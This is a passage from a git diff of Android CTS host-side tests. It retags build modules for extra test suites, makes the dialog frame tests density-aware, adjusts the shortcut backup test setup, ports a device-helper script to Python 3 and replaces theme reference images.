diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/Android.mk b/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/Android.mk
index a42f8d0..a33e1bc 100644
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/Android.mk
+++ b/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/Android.mk
@@ -24,7 +24,7 @@
LOCAL_SDK_VERSION := 23
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsDragAndDropTargetAppSdk23
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/frametestapp/Android.mk b/hostsidetests/services/activityandwindowmanager/windowmanager/frametestapp/Android.mk
index e5aa610..d6e82d3 100644
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/frametestapp/Android.mk
+++ b/hostsidetests/services/activityandwindowmanager/windowmanager/frametestapp/Android.mk
@@ -24,7 +24,7 @@
LOCAL_SDK_VERSION := test_current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsDeviceWindowFramesTestApp
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/frametestapp/src/android/server/frametestapp/DialogTestActivity.java b/hostsidetests/services/activityandwindowmanager/windowmanager/frametestapp/src/android/server/frametestapp/DialogTestActivity.java
index 593cf34..cb86b5e 100644
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/frametestapp/src/android/server/frametestapp/DialogTestActivity.java
+++ b/hostsidetests/services/activityandwindowmanager/windowmanager/frametestapp/src/android/server/frametestapp/DialogTestActivity.java
@@ -27,6 +27,7 @@
public class DialogTestActivity extends Activity {
AlertDialog mDialog;
+ int mSize;
protected void onCreate(Bundle icicle) {
super.onCreate(icicle);
@@ -44,6 +45,7 @@
private void setupTest(Intent intent) {
String testCase = intent.getStringExtra(
"android.server.FrameTestApp.DialogTestCase");
+ mSize = getSize();
switch (testCase) {
case "MatchParent": {
testMatchParent();
@@ -129,23 +131,23 @@
private void testExplicitSize() {
doLayoutParamTest((WindowManager.LayoutParams params) -> {
- params.width = 200;
- params.height = 200;
+ params.width = mSize;
+ params.height = mSize;
});
}
private void testExplicitSizeTopLeftGravity() {
doLayoutParamTest((WindowManager.LayoutParams params) -> {
- params.width = 200;
- params.height = 200;
+ params.width = mSize;
+ params.height = mSize;
params.gravity = Gravity.TOP | Gravity.LEFT;
});
}
private void testExplicitSizeBottomRightGravity() {
doLayoutParamTest((WindowManager.LayoutParams params) -> {
- params.width = 200;
- params.height = 200;
+ params.width = mSize;
+ params.height = mSize;
params.gravity = Gravity.BOTTOM | Gravity.RIGHT;
});
}
@@ -197,10 +199,15 @@
params.gravity = Gravity.LEFT | Gravity.TOP;
params.horizontalMargin = .25f;
params.verticalMargin = .35f;
- params.width = 200;
- params.height = 200;
+ params.width = mSize;
+ params.height = mSize;
params.x = 0;
params.y = 0;
});
}
+
+ private int getSize() {
+ float density = getResources().getDisplayMetrics().density;
+ return density > 1.0 ? 200 : (int)(200 * density);
+ }
}
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/DialogFrameTests.java b/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/DialogFrameTests.java
index c99f001..0b28fd7 100644
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/DialogFrameTests.java
+++ b/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/DialogFrameTests.java
@@ -19,9 +19,12 @@
import java.util.List;
import java.util.ArrayList;
import java.awt.Rectangle;
+import java.lang.Float;
+import java.lang.String;
import com.android.ddmlib.Log.LogLevel;
import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.device.DeviceNotAvailableException;
import android.server.cts.WindowManagerState.WindowState;
@@ -55,6 +58,7 @@
mAmWmState.computeState(mDevice, waitForVisible);
WindowState dialog = getSingleWindow("TestDialog");
WindowState parent = getSingleWindow("DialogTestActivity");
+ setupTest();
t.doTest(parent, dialog);
}
@@ -68,17 +72,8 @@
});
}
- // If we have LAYOUT_IN_SCREEN and LAYOUT_IN_OVERSCAN with MATCH_PARENT,
- // we will not be constrained to the insets and so we will be the same size
- // as the main window main frame.
- public void testMatchParentDialogLayoutInOverscan() throws Exception {
- doParentChildTest("MatchParentLayoutInOverscan",
- (WindowState parent, WindowState dialog) -> {
- assertEquals(parent.getFrame(), dialog.getFrame());
- });
- }
-
static final int explicitDimension = 200;
+ private int mSize = explicitDimension;
// The default gravity for dialogs should center them.
public void testExplicitSizeDefaultGravity() throws Exception {
@@ -86,9 +81,9 @@
(WindowState parent, WindowState dialog) -> {
Rectangle contentFrame = parent.getContentFrame();
Rectangle expectedFrame = new Rectangle(
- contentFrame.x + (contentFrame.width - explicitDimension)/2,
- contentFrame.y + (contentFrame.height - explicitDimension)/2,
- explicitDimension, explicitDimension);
+ contentFrame.x + (contentFrame.width - mSize)/2,
+ contentFrame.y + (contentFrame.height - mSize)/2,
+ mSize, mSize);
assertEquals(expectedFrame, dialog.getFrame());
});
}
@@ -100,8 +95,8 @@
Rectangle expectedFrame = new Rectangle(
contentFrame.x,
contentFrame.y,
- explicitDimension,
- explicitDimension);
+ mSize,
+ mSize);
assertEquals(expectedFrame, dialog.getFrame());
});
}
@@ -111,9 +106,9 @@
(WindowState parent, WindowState dialog) -> {
Rectangle contentFrame = parent.getContentFrame();
Rectangle expectedFrame = new Rectangle(
- contentFrame.x + contentFrame.width - explicitDimension,
- contentFrame.y + contentFrame.height - explicitDimension,
- explicitDimension, explicitDimension);
+ contentFrame.x + contentFrame.width - mSize,
+ contentFrame.y + contentFrame.height - mSize,
+ mSize, mSize);
assertEquals(expectedFrame, dialog.getFrame());
});
}
@@ -197,8 +192,8 @@
Rectangle expectedFrame = new Rectangle(
(int)(horizontalMargin*frame.width + frame.x),
(int)(verticalMargin*frame.height + frame.y),
- explicitDimension,
- explicitDimension);
+ mSize,
+ mSize);
assertEquals(expectedFrame, dialog.getFrame());
});
}
@@ -212,4 +207,33 @@
assertTrue(dialog.getLayer() - parent.getLayer() >= 5);
});
}
+
+ private void setupTest() {
+ mSize = getSize();
+ }
+
+ private int getSize() {
+ int size = explicitDimension;
+ try {
+ float density = getDensity();
+ size = density > 1.0 ? explicitDimension : (int)(explicitDimension * density);
+ } catch (DeviceNotAvailableException e) {
+ }
+ return size;
+ }
+
+ private float getDensity() throws DeviceNotAvailableException {
+ float density;
+ String output = runCommandAndPrintOutput("wm density");
+ if (output.contains("Override density")) {
+ int cnt = output.indexOf("Override density");
+ String token = output.substring(cnt + 18);
+ density = Float.parseFloat(token.replace("\n",""));
+ } else {
+ String tokens[] = output.split(": ");
+ density = Float.parseFloat(tokens[1].replace("\n",""));
+ }
+ float ret = density / 160f;
+ return ret;
+ }
}
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher1/Android.mk b/hostsidetests/shortcuts/deviceside/backup/launcher1/Android.mk
index 810fe64..d6077a4 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher1/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher1/Android.mk
@@ -17,7 +17,7 @@
include $(CLEAR_VARS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsShortcutBackupLauncher1
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher2/Android.mk b/hostsidetests/shortcuts/deviceside/backup/launcher2/Android.mk
index 3eb0cde..8f124a0 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher2/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher2/Android.mk
@@ -17,7 +17,7 @@
include $(CLEAR_VARS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsShortcutBackupLauncher2
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher3/Android.mk b/hostsidetests/shortcuts/deviceside/backup/launcher3/Android.mk
index 0b072a5..9883e5c 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher3/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher3/Android.mk
@@ -17,7 +17,7 @@
include $(CLEAR_VARS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsShortcutBackupLauncher3
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher1/Android.mk b/hostsidetests/shortcuts/deviceside/backup/publisher1/Android.mk
index a729fe8..72da903 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher1/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher1/Android.mk
@@ -17,7 +17,7 @@
include $(CLEAR_VARS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsShortcutBackupPublisher1
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher2/Android.mk b/hostsidetests/shortcuts/deviceside/backup/publisher2/Android.mk
index 12a0995..286dded 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher2/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher2/Android.mk
@@ -17,7 +17,7 @@
include $(CLEAR_VARS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsShortcutBackupPublisher2
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher3/Android.mk b/hostsidetests/shortcuts/deviceside/backup/publisher3/Android.mk
index 4232034..f1421d1 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher3/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher3/Android.mk
@@ -17,7 +17,7 @@
include $(CLEAR_VARS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsShortcutBackupPublisher3
diff --git a/hostsidetests/shortcuts/deviceside/multiuser/Android.mk b/hostsidetests/shortcuts/deviceside/multiuser/Android.mk
index 183531b..619bdfe 100644
--- a/hostsidetests/shortcuts/deviceside/multiuser/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/multiuser/Android.mk
@@ -19,7 +19,7 @@
include $(CLEAR_VARS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsShortcutMultiuserTest
diff --git a/hostsidetests/shortcuts/deviceside/upgrade/Android.mk b/hostsidetests/shortcuts/deviceside/upgrade/Android.mk
index 11bfc2f..ae0bf75 100644
--- a/hostsidetests/shortcuts/deviceside/upgrade/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/upgrade/Android.mk
@@ -21,7 +21,7 @@
include $(CLEAR_VARS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsShortcutUpgradeVersion1
@@ -52,7 +52,7 @@
include $(CLEAR_VARS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsShortcutUpgradeVersion2
diff --git a/hostsidetests/shortcuts/hostside/Android.mk b/hostsidetests/shortcuts/hostside/Android.mk
index 830ec94..f8bf4dd 100644
--- a/hostsidetests/shortcuts/hostside/Android.mk
+++ b/hostsidetests/shortcuts/hostside/Android.mk
@@ -27,7 +27,7 @@
LOCAL_JAVA_LIBRARIES := tools-common-prebuilt cts-tradefed tradefed
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/shortcuts/hostside/AndroidTest.xml b/hostsidetests/shortcuts/hostside/AndroidTest.xml
index 15d6a12..8b53b2e 100644
--- a/hostsidetests/shortcuts/hostside/AndroidTest.xml
+++ b/hostsidetests/shortcuts/hostside/AndroidTest.xml
@@ -15,7 +15,10 @@
-->
<configuration description="Config for the CTS ShortcutManager host tests">
<option name="config-descriptor:metadata" key="component" value="framework" />
- <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+ <target_preparer class="android.cts.backup.BackupPreparer">
+ <option name="enable-backup-if-needed" value="true" />
+ <option name="select-local-transport" value="true" />
+ </target_preparer> <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
<option name="jar" value="CtsShortcutHostTestCases.jar" />
<option name="runtime-hint" value="10m" />
</test>
diff --git a/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerBackupTest.java b/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerBackupTest.java
index 25f8317..960b41f 100644
--- a/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerBackupTest.java
+++ b/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerBackupTest.java
@@ -93,13 +93,19 @@
super.tearDown();
}
- private void doBackup() throws DeviceNotAvailableException {
+ private void doBackup() throws Exception {
CLog.i("Backing up package android...");
+
+ waitUntilBroadcastsDrain(); // b/64203677
+
+ CLog.i("Making sure the local transport is selected...");
assertContainsRegex(
"^Selected transport android/com.android.internal.backup.LocalTransport",
executeShellCommandWithLog(
"bmgr transport android/com.android.internal.backup.LocalTransport"));
+ executeShellCommandWithLog("dumpsys backup");
+
assertContainsRegex(
"Wiped",
executeShellCommandWithLog(
diff --git a/hostsidetests/sustainedperf/Android.mk b/hostsidetests/sustainedperf/Android.mk
index a9f06e4..745a0b4 100644
--- a/hostsidetests/sustainedperf/Android.mk
+++ b/hostsidetests/sustainedperf/Android.mk
@@ -21,7 +21,7 @@
LOCAL_MODULE_TAGS := tests
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_MODULE := CtsSustainedPerformanceHostTestCases
LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
diff --git a/hostsidetests/sustainedperf/app/Android.mk b/hostsidetests/sustainedperf/app/Android.mk
index 41f61e4..f995837 100644
--- a/hostsidetests/sustainedperf/app/Android.mk
+++ b/hostsidetests/sustainedperf/app/Android.mk
@@ -28,7 +28,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsSustainedPerformanceDeviceTestApp
diff --git a/hostsidetests/sustainedperf/dhrystone/Android.mk b/hostsidetests/sustainedperf/dhrystone/Android.mk
index 4c6b53d..abcbe669 100644
--- a/hostsidetests/sustainedperf/dhrystone/Android.mk
+++ b/hostsidetests/sustainedperf/dhrystone/Android.mk
@@ -14,5 +14,5 @@
LOCAL_MULTILIB := both
LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_EXECUTABLE)
diff --git a/hostsidetests/sustainedperf/shadertoy_android/Android.mk b/hostsidetests/sustainedperf/shadertoy_android/Android.mk
index 0c6c2a4..ba6bf64 100644
--- a/hostsidetests/sustainedperf/shadertoy_android/Android.mk
+++ b/hostsidetests/sustainedperf/shadertoy_android/Android.mk
@@ -33,6 +33,6 @@
LOCAL_SDK_VERSION := current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_PACKAGE)
include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/systemui/Android.mk b/hostsidetests/systemui/Android.mk
index d4305f5..ba437b9 100644
--- a/hostsidetests/systemui/Android.mk
+++ b/hostsidetests/systemui/Android.mk
@@ -29,7 +29,7 @@
LOCAL_SDK_VERSION := current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/systemui/app/Android.mk b/hostsidetests/systemui/app/Android.mk
index ca987e7..fed7a9f 100644
--- a/hostsidetests/systemui/app/Android.mk
+++ b/hostsidetests/systemui/app/Android.mk
@@ -28,7 +28,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsSystemUiDeviceApp
diff --git a/hostsidetests/theme/Android.mk b/hostsidetests/theme/Android.mk
index 7d1d18c..3764442 100644
--- a/hostsidetests/theme/Android.mk
+++ b/hostsidetests/theme/Android.mk
@@ -38,7 +38,7 @@
LOCAL_SDK_VERSION := current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/theme/README b/hostsidetests/theme/README
index 64ca416..4f93e5a 100644
--- a/hostsidetests/theme/README
+++ b/hostsidetests/theme/README
@@ -30,33 +30,42 @@
I. Generating reference images (CTS maintainers only)
Reference images are typically only generated for new API revisions. To
-generate a new set of reference images, do the following:
+generate a new set of reference images from an emulator, do the following:
- 1. Obtain the emulator image for the current platform. You can either build
- these from scratch (not recommended) via:
+ 1. Ensure the Android SDK is installed locally. Either a public or internal
+ distribution is fine. From the console, set the ANDROID_SDK_ROOT env var:
- make PRODUCT-sdk_phone_x86_64-sdk sdk_repo -j32
+ export ANDROID_SDK_ROOT = /path/to/sdk
- Or obtain them from the sdk-repo-linux-system-images-<build-id>.zip
- artifact from the sdk_phone_x86_64-sdk build server target.
+ 2. Obtain an x86_64 emulator image from the build server by using the script
+ available internally at go/emu-dev. This script will install the image in
+ your SDK.
- 2. Start one AVD emulator image for each DPI bucket (ldpi, xxxhdpi, etc.)
- that you wish to generate references images for. Anecdotally, up to three
- emulators can run reliably at the same time. Confirm that all emulators
- are connected with:
+ 3. Use the SDK's AVD Manager tool to create a single virtual device using the
+ emulator image from step 2. The exact configuration doesn't really matter;
+ you can use Nexus 5 as a template. Name the emulator "theme_emulator".
- adb devices
-
- 3. Set up your build environment for x86_64 and build CTS:
+ 4. From the console, set up your build environment for x86_64 and build CTS:
lunch sdk_x86_64-eng && make cts -j32
- 2. Generate the reference images. Generation occurs on all devices in
- parallel. Resulting sets of reference images are automatically saved in
- assets/<platform>/<dpi>.zip and will overwrite any existing sets. Image
- generation may be started using:
+ 5. Use the reference image script to generate the reference images. The script
+ will automatically start the emulator in the required configurations and
+ install the resulting reference images in assets/<platform>/<dpi>.zip,
+ overwriting any existing images.
- ./cts/hostsidetests/theme/generate_images.sh
+ ./cts/hostsidetests/theme/generate_images.py theme_emulator
+
+You can also generate reference images using a real device. To generate a new set
+of reference images from a real device, do the following:
+
+ 1. Connect the device. Verify the device is connected:
+
+ adb devices
+
+ 2. Use the reference image script to generate the reference images:
+
+ ./cts/hostsidetests/theme/generate_images.py
A complete collection of reference images for a given API revision must include
a set for each possible DPI bucket (tvdpi, xxhdpi, etc.) that may be tested.
diff --git a/hostsidetests/theme/android_device.py b/hostsidetests/theme/android_device.py
index 4c7d8d1..7711060 100644
--- a/hostsidetests/theme/android_device.py
+++ b/hostsidetests/theme/android_device.py
@@ -1,4 +1,4 @@
-#!/usr/bin/env python
+#!/usr/bin/python3
#
# Copyright (C) 2015 The Android Open Source Project
#
@@ -17,106 +17,119 @@
import os
import re
+import subprocess
import sys
import threading
-import subprocess
import time
+from subprocess import PIPE
+
+
# class for running android device from python
# it will fork the device processor
-class androidDevice(object):
- def __init__(self, adbDevice):
- self._adbDevice = adbDevice
+class AndroidDevice(object):
+ def __init__(self, serial):
+ self._serial = serial
- def runAdbCommand(self, cmd):
- self.waitForAdbDevice()
- adbCmd = "adb -s %s %s" %(self._adbDevice, cmd)
- print adbCmd
- adbProcess = subprocess.Popen(adbCmd.split(" "), bufsize = -1, stdout = subprocess.PIPE, stderr = subprocess.PIPE)
- return adbProcess.communicate()
+ def run_adb_command(self, cmd, timeout=None):
+ adb_cmd = "adb -s %s %s" % (self._serial, cmd)
+ print(adb_cmd)
- def runShellCommand(self, cmd):
- return self.runAdbCommand("shell " + cmd)
+ adb_process = subprocess.Popen(args=adb_cmd.split(), bufsize=-1, stderr=PIPE, stdout=PIPE)
+ (out, err) = adb_process.communicate(timeout=timeout)
+ return out.decode('utf-8').strip(), err.decode('utf-8').strip()
- def waitForAdbDevice(self):
- print "waitForAdbDevice"
- os.system("adb -s %s wait-for-device" %self._adbDevice)
+ def run_shell_command(self, cmd):
+ return self.run_adb_command("shell %s" % cmd)
- def waitForBootComplete(self, timeout = 240):
+ def wait_for_device(self, timeout=30):
+ return self.run_adb_command('wait-for-device', timeout)
+
+ def wait_for_prop(self, key, value, timeout=30):
boot_complete = False
attempts = 0
- wait_period = 5
+ wait_period = 1
while not boot_complete and (attempts*wait_period) < timeout:
- (output, err) = self.runShellCommand("getprop dev.bootcomplete")
- output = output.strip()
- if output == "1":
+ (out, err) = self.run_shell_command("getprop %s" % key)
+ if out == value:
boot_complete = True
else:
time.sleep(wait_period)
attempts += 1
if not boot_complete:
- print "***boot not complete within timeout. will proceed to the next step"
+ print("%s not set to %s within timeout!" % (key, value))
return boot_complete
- def installApk(self, apkPath):
- (out, err) = self.runAdbCommand("install -r -d -g " + apkPath)
- result = err.split()
- return (out, err, "Success" in result)
+ def wait_for_service(self, name, timeout=30):
+ service_found = False
+ attempts = 0
+ wait_period = 1
+ while not service_found and (attempts*wait_period) < timeout:
+ (output, err) = self.run_shell_command("service check %s" % name)
+ if 'not found' not in output:
+ service_found = True
+ else:
+ time.sleep(wait_period)
+ attempts += 1
+ if not service_found:
+ print("Service '%s' not found within timeout!" % name)
+ return service_found
- def uninstallApk(self, package):
- (out, err) = self.runAdbCommand("uninstall " + package)
- result = err.split()
+ def wait_for_boot_complete(self, timeout=60):
+ return self.wait_for_prop('dev.bootcomplete', '1', timeout)
+
+ def install_apk(self, apk_path):
+ self.wait_for_service('package')
+ (out, err) = self.run_adb_command("install -r -d -g %s" % apk_path)
+ result = out.split()
+ return out, err, "Success" in result
+
+ def uninstall_package(self, package):
+ self.wait_for_service('package')
+ (out, err) = self.run_adb_command("uninstall %s" % package)
+ result = out.split()
return "Success" in result
- def runInstrumentationTest(self, option):
- return self.runShellCommand("am instrument -w --no-window-animation " + option)
+ def run_instrumentation_test(self, option):
+ self.wait_for_service('activity')
+ return self.run_shell_command("am instrument -w --no-window-animation %s" % option)
- def isProcessAlive(self, processName):
- (out, err) = self.runShellCommand("ps")
+ def is_process_alive(self, process_name):
+ (out, err) = self.run_shell_command("ps")
names = out.split()
# very lazy implementation as it does not filter out things like uid
# should work mostly unless processName is too simple to overlap with
# uid. So only use name like com.android.xyz
- return processName in names
+ return process_name in names
- def getVersionSdkInt(self):
- return int(self.runShellCommand("getprop ro.build.version.sdk")[0])
+ def get_version_sdk(self):
+ return int(self.run_shell_command("getprop ro.build.version.sdk")[0])
- def getVersionCodename(self):
- return self.runShellCommand("getprop ro.build.version.codename")[0].strip()
+ def get_version_codename(self):
+ return self.run_shell_command("getprop ro.build.version.codename")[0].strip()
- def getDensity(self):
- if "emulator" in self._adbDevice:
- return int(self.runShellCommand("getprop qemu.sf.lcd_density")[0])
+ def get_density(self):
+ if "emulator" in self._serial:
+ return int(self.run_shell_command("getprop qemu.sf.lcd_density")[0])
else:
- return int(self.runShellCommand("getprop ro.sf.lcd_density")[0])
+ return int(self.run_shell_command("getprop ro.sf.lcd_density")[0])
- def getSdkLevel(self):
- return int(self.runShellCommand("getprop ro.build.version.sdk")[0])
+ def get_orientation(self):
+ return int(self.run_shell_command("dumpsys | grep SurfaceOrientation")[0].split()[1])
- def getOrientation(self):
- return int(self.runShellCommand("dumpsys | grep SurfaceOrientation")[0].split()[1])
- # Running dumpsys on the emulator currently yields a SIGSEGV, so don't do it.
- #
- #def getHWType(self):
- # (output, err) = self.runShellCommand("dumpsys | grep android.hardware.type")
- # output = output.strip()
- # return output
-
-def runAdbDevices():
+def enumerate_android_devices(require_prefix=''):
devices = subprocess.check_output(["adb", "devices"])
- devices = devices.split('\n')[1:]
+ if not devices:
+ return []
- deviceSerial = []
+ devices = devices.decode('UTF-8').split('\n')[1:]
+ device_list = []
for device in devices:
- if device is not "":
+ if device is not "" and device.startswith(require_prefix):
info = device.split('\t')
if info[1] == "device":
- deviceSerial.append(info[0])
+ device_list.append(info[0])
- return deviceSerial
-
-if __name__ == '__main__':
- main(sys.argv)
+ return device_list
diff --git a/hostsidetests/theme/app/Android.mk b/hostsidetests/theme/app/Android.mk
index 5f6b11c..de63355 100644
--- a/hostsidetests/theme/app/Android.mk
+++ b/hostsidetests/theme/app/Android.mk
@@ -36,7 +36,7 @@
LOCAL_PACKAGE_NAME := CtsThemeDeviceApp
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := 23
diff --git a/hostsidetests/theme/app/src/android/theme/app/ThemeDeviceActivity.java b/hostsidetests/theme/app/src/android/theme/app/ThemeDeviceActivity.java
index 8709f14..9469a0c 100644
--- a/hostsidetests/theme/app/src/android/theme/app/ThemeDeviceActivity.java
+++ b/hostsidetests/theme/app/src/android/theme/app/ThemeDeviceActivity.java
@@ -18,6 +18,7 @@
import android.app.Activity;
import android.content.Intent;
+import android.content.res.Configuration;
import android.os.Build;
import android.os.Bundle;
import android.theme.app.modifiers.DatePickerModifier;
@@ -76,6 +77,11 @@
mTheme = THEMES[themeIndex];
setTheme(mTheme.id);
+
+ // Force text scaling to 1.0 regardless of system default.
+ Configuration config = new Configuration();
+ config.fontScale = 1.0f;
+ getResources().updateConfiguration(config, null);
setContentView(R.layout.theme_test);
mViewGroup = (ReferenceViewGroup) findViewById(R.id.reference_view_group);
diff --git a/hostsidetests/theme/assets/26/360dpi.zip b/hostsidetests/theme/assets/26/360dpi.zip
deleted file mode 100644
index 80b0527..0000000
--- a/hostsidetests/theme/assets/26/360dpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/26/400dpi.zip b/hostsidetests/theme/assets/26/400dpi.zip
deleted file mode 100755
index d624bd5..0000000
--- a/hostsidetests/theme/assets/26/400dpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/26/420dpi.zip b/hostsidetests/theme/assets/26/420dpi.zip
deleted file mode 100644
index 2d3f70b..0000000
--- a/hostsidetests/theme/assets/26/420dpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/26/560dpi.zip b/hostsidetests/theme/assets/26/560dpi.zip
deleted file mode 100644
index 88d481e..0000000
--- a/hostsidetests/theme/assets/26/560dpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/26/hdpi.zip b/hostsidetests/theme/assets/26/hdpi.zip
deleted file mode 100755
index ba6d573..0000000
--- a/hostsidetests/theme/assets/26/hdpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/26/mdpi.zip b/hostsidetests/theme/assets/26/mdpi.zip
deleted file mode 100644
index 28fa0bd..0000000
--- a/hostsidetests/theme/assets/26/mdpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/26/xhdpi.zip b/hostsidetests/theme/assets/26/xhdpi.zip
deleted file mode 100644
index c2e2ed0..0000000
--- a/hostsidetests/theme/assets/26/xhdpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/26/xxhdpi.zip b/hostsidetests/theme/assets/26/xxhdpi.zip
deleted file mode 100644
index 55a943b..0000000
--- a/hostsidetests/theme/assets/26/xxhdpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/26/xxxhdpi.zip b/hostsidetests/theme/assets/26/xxxhdpi.zip
deleted file mode 100644
index bcbee87..0000000
--- a/hostsidetests/theme/assets/26/xxxhdpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/27/260dpi.zip b/hostsidetests/theme/assets/27/260dpi.zip
new file mode 100644
index 0000000..3bfe1e9
--- /dev/null
+++ b/hostsidetests/theme/assets/27/260dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/27/280dpi.zip b/hostsidetests/theme/assets/27/280dpi.zip
new file mode 100644
index 0000000..4ceaab3
--- /dev/null
+++ b/hostsidetests/theme/assets/27/280dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/27/300dpi.zip b/hostsidetests/theme/assets/27/300dpi.zip
new file mode 100644
